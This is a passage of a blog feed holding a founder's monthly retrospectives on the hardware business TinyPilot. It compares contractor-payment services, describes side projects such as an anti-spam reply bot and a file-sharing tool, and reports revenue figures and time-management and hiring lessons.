&lt;li>Minimize everyone&amp;rsquo;s time dealing with invoicing and payments&lt;/li>
&lt;li>Manage compliance documentation&lt;/li>
&lt;li>Manage contract documents&lt;/li>
&lt;li>Make it possible for contractors to record expenses&lt;/li>
&lt;li>Make it easy for contractors to track their billable time without installing spyware&lt;/li>
&lt;/ul>
&lt;h3 id="deel-winner">Deel (winner)&lt;/h3>
&lt;p>I ended up choosing Deel, as they ticked all of my boxes. I&amp;rsquo;m only a week in, but it&amp;rsquo;s going well so far.&lt;/p>
&lt;p>Deel seems to be more transparent than other providers in showing the exact amount that will arrive in the contractor&amp;rsquo;s bank account in their local currency. Other providers just promise to do their best in finding good conversion rates, but contractors only find out the final rate when the payment lands in their bank account.&lt;/p>
&lt;p>Deel is also planning to expand into payroll services for US-based employees. That would be great for me, as I&amp;rsquo;ve been disappointed with Justworks and Gusto.&lt;/p>
&lt;h3 id="pilot">Pilot&lt;/h3>
&lt;p>Pilot is pretty similar to Deel. They&amp;rsquo;re both backed by Y Combinator, and they have a similarly slick UI. Pilot doesn&amp;rsquo;t support time tracking, while Deel does.&lt;/p>
&lt;p>I signed up for Pilot first, and I was planning to use them, but they took an entire week to activate my account. In the meantime, another founder mentioned Deel, so I switched. I guess it pays to onboard your customers well.&lt;/p>
&lt;h3 id="remote">Remote&lt;/h3>
&lt;p>Remote offers free payments for contractors. Sounds great, right? Free service was the dealbreaker for me.&lt;/p>
&lt;p>If Remote can offer a service for free that others are charging $30-50/mo per contractor, something is fishy. It might mean they&amp;rsquo;re making money from me in some unexpected way like they hide fees in their currency conversion rate. Or it could mean that contractors are a use-case they don&amp;rsquo;t care about, and they might suddenly drop it, as we see Google do over and over with their free services.&lt;/p>
&lt;h3 id="gusto">Gusto&lt;/h3>
&lt;p>I&amp;rsquo;m already using Gusto as a payroll service for my local staff. I&amp;rsquo;m not crazy about Gusto, but using a single service to pay everyone would be convenient.&lt;/p>
&lt;p>Unfortunately, Gusto only supports international contractors if they receive a fixed dollar amount each pay cycle. If your contractors work different hours each week, Gusto won&amp;rsquo;t work.&lt;/p>
&lt;h2 id="legacy-projects-rip">Legacy projects (RIP)&lt;/h2>
&lt;p>I used to keep a regular section in my retrospectives for updates on my legacy businesses, but the writeups have gotten pretty boring. They&amp;rsquo;re all essentially, &amp;ldquo;I did nothing. Here&amp;rsquo;s how that affected my metrics.&amp;rdquo;&lt;/p>
&lt;p>I&amp;rsquo;m replacing &amp;ldquo;Legacy projects&amp;rdquo; with &amp;ldquo;Side projects&amp;rdquo; so I can talk about the hobby projects I play with on weekends and evenings.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="lenny">&lt;a href="https://lenny.email">Lenny&lt;/a>&lt;/h3>
&lt;p>Lenny is a chatbot that responds to spam emails on my behalf.&lt;/p>
&lt;p>Spam is getting more aggressive. Spammers are now sending automated message sequences when I don&amp;rsquo;t respond to their first message.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/03/spammer-sequence.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/03/spammer-sequence_hu_3f70acab0f2cc43e.png 300w, https://mtlynch.io/retrospectives/2022/03/spammer-sequence_hu_ef52e56281fe6858.png 600w, https://mtlynch.io/retrospectives/2022/03/spammer-sequence_hu_b092f3a528a1301c.png 800w, https://mtlynch.io/retrospectives/2022/03/spammer-sequence.png 825w'
 src="https://mtlynch.io/retrospectives/2022/03/spammer-sequence.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Some spammers continue sending automated pester sequences when I don&amp;rsquo;t respond.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It annoyed me that spammers can keep invading my inbox and wasting my time, and all it costs them is a fraction of a penny per email and a new domain every few months. And they&amp;rsquo;re doing this to thousands of people because they don&amp;rsquo;t have to put in any effort until they get a response. I wanted a way to increase the spammers&amp;rsquo; costs so that bulk, semi-targeted emails aren&amp;rsquo;t as cost-effective.&lt;/p>
&lt;p>I was inspired by &lt;a href="https://www.youtube.com/channel/UCrBZYWrikliO6EPZKM7KxVQ">a YouTube channel&lt;/a> that wastes telemarketers&amp;rsquo; time with a voice chatbot. The channel maintains a VoIP number that takes calls from telemarketers and responds with recordings of a kindly Australian man named Lenny. The recorded responses always express interest in what the telemarketers are selling but with lots of rambly digressions. Lenny has probably cost telemarketing firms tens to hundreds of thousands of dollars.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/XSoOrlh5i1k?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>I&amp;rsquo;ve built my own version of Lenny, but for email rather than voice calls. Now, when I get spam emails, I forward them to my own email-based Lenny. Lenny responds enthusiastically to the spammer, but he keeps getting distracted and sending the conversation in circles.&lt;/p>
&lt;p>The following are two different spammers responding to the same message sequence I wrote for my chatbot. Lenny manages to get five responses from each spammer before they each give up at the same point. In the second example, Lenny&amp;rsquo;s responses stop making sense in the context of the spammer&amp;rsquo;s messages, but the spammer keeps going for a while.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/03/lenny-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/03/lenny-1_hu_f81d769774293bee.png 300w, https://mtlynch.io/retrospectives/2022/03/lenny-1_hu_efbdecb822ad477e.png 600w, https://mtlynch.io/retrospectives/2022/03/lenny-1.png 615w'
 src="https://mtlynch.io/retrospectives/2022/03/lenny-1.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/03/lenny-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/03/lenny-2_hu_257d473a41813af1.png 300w, https://mtlynch.io/retrospectives/2022/03/lenny-2_hu_931155d5ac1f6f31.png 600w, https://mtlynch.io/retrospectives/2022/03/lenny-2.png 615w'
 src="https://mtlynch.io/retrospectives/2022/03/lenny-2.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Lenny is a service I built to send automated responses to spammers that go nowhere.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I&amp;rsquo;m trying to keep the third-party dependencies to a minimum, but in February, I started using the &lt;a href="https://bulma.io/">Bulma CSS framework&lt;/a>, and it makes the UI look a lot better.&lt;/p>
&lt;p>Outside of that, I&amp;rsquo;ve been working on making it easier to define new responses. Currently, all the responses are baked into the code, but I want to make them editable through the web UI.&lt;/p>
&lt;p>I&amp;rsquo;m not sure where Lenny will go as a project. I might release it as a free, open-source tool, but I feel like people might be willing to pay for this as a hosted service. For now, I&amp;rsquo;m just working on it for my own entertainment, but I hope to offer it to others in the next few months.&lt;/p>
&lt;div class="notice notice-info">
 I just realized as I&amp;rsquo;m writing this that the &lt;a href="https://www.lennytroll.com/">Lenny telemarketing bot&lt;/a> author seems to be building a business around his chatbot, so I&amp;rsquo;ll probably have to change the name.
&lt;/div>

&lt;h3 id="picoshare">&lt;a href="http://github.com/mtlynch/picoshare">PicoShare&lt;/a>&lt;/h3>
&lt;p>PicoShare is a simple tool for sharing files.&lt;/p>
&lt;p>There are a million services that will let you host and share files, but they all get in your way in one form or another. For example, I can&amp;rsquo;t just upload a video to Google Drive and send someone a link. Google Drive insists on re-encoding the video, so it&amp;rsquo;s a 10-minute wait before the video is even available. And even then, the recipient has to navigate through the Google Drive UI to even play the file. It&amp;rsquo;s the same on Dropbox, imgur, etc.&lt;/p>
&lt;p>PicoShare is a no-frills, no-hassle file-sharing service. You upload a file and get a direct link. Anyone with the link can view it or download it directly without signing up for an account or viewing ads.&lt;/p>
&lt;p>I used PicoShare recently to share a short clip from &lt;em>30 Rock&lt;/em> with my family in a group text. Here&amp;rsquo;s what it looks like for me to upload the clip to PicoShare and get a shareable link:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="picoshare-demo.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>PicoShare lets me share a video instantly without re-encoding it or burying it in another UI.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>PicoShare also supports setting an expiration time for shared files. Sometimes I want to share a file for TinyPilot, but maybe it has sensitive data that I don&amp;rsquo;t want sitting in someone&amp;rsquo;s email account indefinitely. In the past, I&amp;rsquo;ve uploaded the files to cloud storage and shared a link, but then I have to remember to delete the file later. PicoShare automates it by auto-deleting the file after its expiration.&lt;/p>
&lt;p>I only started working on PicoShare a few weeks ago, so it&amp;rsquo;s still rough. I don&amp;rsquo;t think there&amp;rsquo;s a business here because the cost of policing abuse is too high. For now, it&amp;rsquo;s &lt;a href="https://github.com/mtlynch/picoshare">open-source&lt;/a>, but I&amp;rsquo;m still rapidly changing it, so I haven&amp;rsquo;t invested much into documentation.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched &lt;a href="https://tinypilotkvm.com/blogs/news/voyager-2-poe">TinyPilot Voyager 2 PoE&lt;/a>&lt;/li>
&lt;li>Hired TinyPilot&amp;rsquo;s first support engineer&lt;/li>
&lt;li>Created &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Use the hiring process as a preview of your working relationship.
&lt;ul>
&lt;li>Talented people want to work with people who treat them well.&lt;/li>
&lt;li>Your job description and hiring process should show candidates that you&amp;rsquo;ll respect them and value their time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can&amp;rsquo;t spot generic applications if your job description is generic.
&lt;ul>
&lt;li>If you write a generic job description, you&amp;rsquo;ll get recycled applications that say nothing specific about your company.&lt;/li>
&lt;li>Use the job description to distinguish your company from others. Give candidates unique things they can talk about in their cover letter to demonstrate that they&amp;rsquo;ve put effort into learning about your company.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Treating candidates well is expensive, but it delights people.
&lt;ul>
&lt;li>It takes 10x longer to treat rejected candidates respectfully, but that doesn&amp;rsquo;t mean you should skip it.&lt;/li>
&lt;li>If you&amp;rsquo;re a founder, you choose how you treat people, even if it doesn&amp;rsquo;t directly benefit you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish TinyPilot Pro 2.4.0&lt;/li>
&lt;li>Wrap up design overhaul of the TinyPilot website&lt;/li>
&lt;li>Complete onboarding for TinyPilot&amp;rsquo;s new support engineer&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 19</title><link>https://mtlynch.io/retrospectives/2022/02/</link><pubDate>Wed, 09 Feb 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/02/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I published my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">fourth annual retrospective&lt;/a> about being a bootstrapped founder.&lt;/li>
&lt;li>TinyPilot sales continue running strong despite a delay in launching our next product.&lt;/li>
&lt;li>I analyze how I&amp;rsquo;m spending my time and figure out ways to allocate my hours better.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-voyager-2-poe-edition">Launch Voyager 2: PoE Edition&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Delayed the launch a few weeks due to a manufacturing issue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I had to delay the launch because we discovered that the first manufactured batch of PoE hardware is behaving differently than our prototypes. We should be able to fix the boards, but it&amp;rsquo;s going to take a few weeks.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I published my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">fourth annual retrospective&lt;/a> about being a bootstrapped founder.&lt;/li>
&lt;li>TinyPilot sales continue running strong despite a delay in launching our next product.&lt;/li>
&lt;li>I analyze how I&amp;rsquo;m spending my time and figure out ways to allocate my hours better.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-voyager-2-poe-edition">Launch Voyager 2: PoE Edition&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Delayed the launch a few weeks due to a manufacturing issue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I had to delay the launch because we discovered that the first manufactured batch of PoE hardware is behaving differently than our prototypes. We should be able to fix the boards, but it&amp;rsquo;s going to take a few weeks.&lt;/p>
&lt;h3 id="write-a-job-description-for-tinypilot-support-engineer-and-begin-interviewing-candidates">Write a job description for TinyPilot support engineer and begin interviewing candidates&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I wrote a job description, but I haven&amp;rsquo;t posted it to any job boards.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>This is one of those things that I keep deprioritizing because it&amp;rsquo;s &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but not urgent&lt;/a>. If TinyPilot had a support engineer, it would get me out of frequent time crunches, so I need to prioritize it better.&lt;/p>
&lt;h3 id="publish-my-fourth-annual-retrospective">Publish my fourth &lt;a href="https://mtlynch.io/tags/annual-review/">annual retrospective&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">annual retrospective&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I was glad to publish this retrospective, as I&amp;rsquo;d been working on it for several weeks. It&amp;rsquo;s one of the few things I do that has a strict deadline, as I like the tradition of posting on my quit-iversary.&lt;/p>
&lt;p>I was surprised the post didn&amp;rsquo;t get more traction on Hacker News and reddit. Usually, my annual updates are popular there, but this year was a miss on both sites. As always, there&amp;rsquo;s a lot of luck involved, so I can&amp;rsquo;t draw too much from an individual post.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>January 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,156&lt;/td>
 &lt;td>7,282&lt;/td>
 &lt;td>&lt;font color="green">+1,126 (+18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>12,840&lt;/td>
 &lt;td>15,477&lt;/td>
 &lt;td>&lt;font color="green">+2,637 (+21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$52,224.65&lt;/td>
 &lt;td>$51,066.78&lt;/td>
 &lt;td>&lt;font color="red">-$1,157.87 (-2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$1,100.47&lt;/td>
 &lt;td>$5,075.00&lt;/td>
 &lt;td>&lt;font color="green">+$3,974.53 (+361%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$53,372.87&lt;/td>
 &lt;td>$56,189.53&lt;/td>
 &lt;td>&lt;font color="green">+$2,816.66 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>$-15,207.05&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>$-21,316.65&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$6,109.60 (-40%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales were down slightly relative to December, but only slightly. Considering we had to pause sales for four days because we were sold out of Voyager 2, this feels like a stronger month than December.&lt;/p>
&lt;p>I&amp;rsquo;m still cash flow negative and probably will be for the next month or two. Now that we&amp;rsquo;re confident in the design for the Voyager 2, I&amp;rsquo;m stockpiling parts for the next 18-24 months so that we don&amp;rsquo;t have to keep redesigning our circuit boards when parts go out of stock. We&amp;rsquo;ve had to redesign six or seven times already, and it&amp;rsquo;s a costly, unpleasant process.&lt;/p>
&lt;h2 id="how-can-i-manage-tinypilot-with-only-20-hours-per-week">How can I manage TinyPilot with only 20 hours per week?&lt;/h2>
&lt;p>One of my goals for this year is to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#manage-tinypilot-on-20-hours-per-week">manage TinyPilot with only 20 hours per week&lt;/a>. I&amp;rsquo;m currently spending about 45 hours per week on TinyPilot. I don&amp;rsquo;t have a good way of measuring my time rigorously, but here&amp;rsquo;s how I think the hours break down vs how I want to spend those hours:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Task&lt;/th>
 &lt;th>Hours per week&lt;/th>
 &lt;th>Ideal hours/wk&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Coordinating changes&lt;/td>
 &lt;td>12&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Answering technical support questions&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Overseeing dev work&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Preparing TinyPilot releases&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Making software architecture decisions&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Communicating with employees&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Communicating with major vendors / distributors&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Administration/payroll/taxes&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>0.5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Answering sales questions&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0.5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Answering non-technical support questions&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0.5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>45&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>15.5&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: These are targets I want to hit on average, not strict limits. If a customer tells me they have a few questions about buying 200 Voyagers, I&amp;rsquo;m not going to say, &amp;ldquo;Sorry, I hit my half-hour limit on sales calls this week.&amp;rdquo;
&lt;/div>

&lt;p>I spend most of my time coordinating changes. By this, I mean little adjustments as TinyPilot evolves. For example, releasing a new product involves many big changes upfront in assembling and shipping it, and then there are many small adjustments for months afterward as we work out all the kinks. It&amp;rsquo;s a complicated enough topic that I split it into its own section &lt;a href="#how-can-i-spend-less-time-coordinating-changes">below&lt;/a>.&lt;/p>
&lt;p>Technical support is the most obvious place to outsource. I&amp;rsquo;ve been thinking for months that I should hire someone to help out with it, but I haven&amp;rsquo;t been prioritizing it enough. I&amp;rsquo;m &lt;a href="https://mtlynch.io/retrospectives/2022/01/#the-last-unfilled-role-tech-support">working on that now&lt;/a>.&lt;/p>
&lt;p>I spend more time than I should overseeing dev work, and that&amp;rsquo;s mostly because I like being involved in software even when I don&amp;rsquo;t need to be. Often, it&amp;rsquo;s because I&amp;rsquo;m eager to see some change, and it&amp;rsquo;s easiest if I do it myself. I need to exercise more discipline and patience in delegating to TinyPilot&amp;rsquo;s dev team.&lt;/p>
&lt;p>I&amp;rsquo;m still spending too much time preparing TinyPilot releases, but I&amp;rsquo;ve been working on automating and delegating that. Each release used to take me about 35 hours between building, testing, and writing the release announcement. Now, it&amp;rsquo;s down to about 15 hours. The dev team has automated a lot of the build process, and TinyPilot&amp;rsquo;s local staff has taken over most of manual testing. There&amp;rsquo;s still more to do, but we&amp;rsquo;re making steady progress.&lt;/p>
&lt;h2 id="how-can-i-spend-less-time-coordinating-changes">How can I spend less time coordinating changes?&lt;/h2>
&lt;p>Coordinating changes is one of the biggest places where I spend my time, and it&amp;rsquo;s one of my least fun responsibilities.&lt;/p>
&lt;p>A recent example of change coordination involved making an adjustment to the Voyager 2&amp;rsquo;s cases. TinyPilot&amp;rsquo;s EU distributor emailed me to say that on about 10% of his Voyager 2 builds, the USB-C ports came out misaligned so badly that he couldn&amp;rsquo;t plug in USB-C cables.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/02/port-skew.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/02/port-skew_hu_179a7056b6987dc3.jpg 300w, https://mtlynch.io/retrospectives/2022/02/port-skew_hu_6f23de7b42c3abfc.jpg 600w, https://mtlynch.io/retrospectives/2022/02/port-skew_hu_2d09361ff14c7b48.jpg 800w, https://mtlynch.io/retrospectives/2022/02/port-skew_hu_3dbe8892375ebd20.jpg 1200w, https://mtlynch.io/retrospectives/2022/02/port-skew.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2022/02/port-skew.jpg" alt="Photo of USB-C ports on Voyager 2 skewing right" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s EU distributor reported that he saw the USB-C ports skewing within the case on some builds.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This was the sequence to get it sorted out:&lt;/p>
&lt;ol>
&lt;li>I email the distributor to say I&amp;rsquo;ll investigate and get back to him.&lt;/li>
&lt;li>I email TinyPilot&amp;rsquo;s local staff to ask if they&amp;rsquo;ve seen anything similar.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s local staff says they&amp;rsquo;ve seen it, but not as extreme as the distributor is seeing it.&lt;/li>
&lt;li>I ask staff to investigate where the inconsistency in builds is coming from (e.g., case, PCBs, build technique).&lt;/li>
&lt;li>Staff tells me that after a few hours of investigating, they haven&amp;rsquo;t been able to pinpoint a cause.&lt;/li>
&lt;li>I email our distributor letting him know that we&amp;rsquo;re revising the case to fix the issue.&lt;/li>
&lt;li>I email our 3D printing partner and ask him to work around it by widening the USB-C holes.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s 3D printing partner prints a prototype and ships it to us.&lt;/li>
&lt;li>I ask TinyPilot&amp;rsquo;s staff to test a build with the new case and verify it works.&lt;/li>
&lt;li>Staff verifies that the new case works and should fix the issue.&lt;/li>
&lt;li>I email our 3D printing partner asking for the design files and requesting that we change our cases to the new design.&lt;/li>
&lt;li>3D printing partner sends me the case design files.&lt;/li>
&lt;li>I send the design files to our distributor.&lt;/li>
&lt;/ol>
&lt;p>So, that was a lot of work to fix a skew of a few millimeters.&lt;/p>
&lt;p>Looking back, I don&amp;rsquo;t see obvious pieces I should have delegated. I can&amp;rsquo;t put my distributor in contact with my staff or 3D printing designer and just tell them to do whatever he asks.&lt;/p>
&lt;p>I guess I could have delegated more of the interaction with the 3D printing vendor. Steps 7 to 11 could have been, &amp;ldquo;I ask my staff to work out a fix with the 3D printing vendor and send me the design files when they&amp;rsquo;re done.&amp;rdquo; That would have only saved me a small amount of work, but I should still get in the habit of empowering TinyPilot&amp;rsquo;s local staff to own more of our assembly process.&lt;/p>
&lt;p>Obviously, we don&amp;rsquo;t run into this situation every week, but similar issues crop up once or twice a week that require coordination between disparate parts of TinyPilot, and they I usually need to make final decisions.&lt;/p>
&lt;p>The other factor is the sheer number of changes happening all the time. Right now, I&amp;rsquo;m overseeing seven separate major projects:&lt;/p>
&lt;ol>
&lt;li>We&amp;rsquo;re switching electrical engineering vendors.&lt;/li>
&lt;li>We&amp;rsquo;re revising the Voyager 2&amp;rsquo;s electrical design in response to part shortages.&lt;/li>
&lt;li>We&amp;rsquo;re wrapping up manufacturing and testing for the PoE version of the Voyager 2.&lt;/li>
&lt;li>We&amp;rsquo;re redesigning the website.&lt;/li>
&lt;li>We&amp;rsquo;re hiring our first support engineer.&lt;/li>
&lt;li>We&amp;rsquo;re exploring case manufacturing options that allow us to produce higher volumes.&lt;/li>
&lt;li>We&amp;rsquo;re working with an external consultant to add H264 video support to TinyPilot.&lt;/li>
&lt;/ol>
&lt;p>From this, I&amp;rsquo;m realizing I should be more conservative in taking on major projects. If I change fewer things, I&amp;rsquo;ll spend less time coordinating changes.&lt;/p>
&lt;p>Another change I can make is to treat bandwidth as a first-class concern when hiring external vendors. The website redesign is taking months longer than I expected because the design firm is averaging only five hours per week on TinyPilot when I expected it to be more like 20. In the future, I&amp;rsquo;ll talk more with vendors during the interview phase about their weekly capacity.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>January 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>15,781&lt;/td>
 &lt;td>25,948&lt;/td>
 &lt;td>&lt;font color="green">+10,167 (+64%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>35,740&lt;/td>
 &lt;td>59,351&lt;/td>
 &lt;td>&lt;font color="green">+23,611 (+66%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>14.0&lt;/td>
 &lt;td>&lt;font color="green">+3.0 (+27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$171.00&lt;/td>
 &lt;td>$291.47&lt;/td>
 &lt;td>&lt;font color="green">+$120.47 (+70%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$30.21&lt;/td>
 &lt;td>$51.45&lt;/td>
 &lt;td>&lt;font color="green">+$21.24 (+70%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$201.21&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$342.92&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$141.71 (+70%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Ouch! January is usually a huge month for Is It Keto with all the New Year&amp;rsquo;s resolution dieters, but this was the weakest January comeback the site has ever seen.&lt;/p>
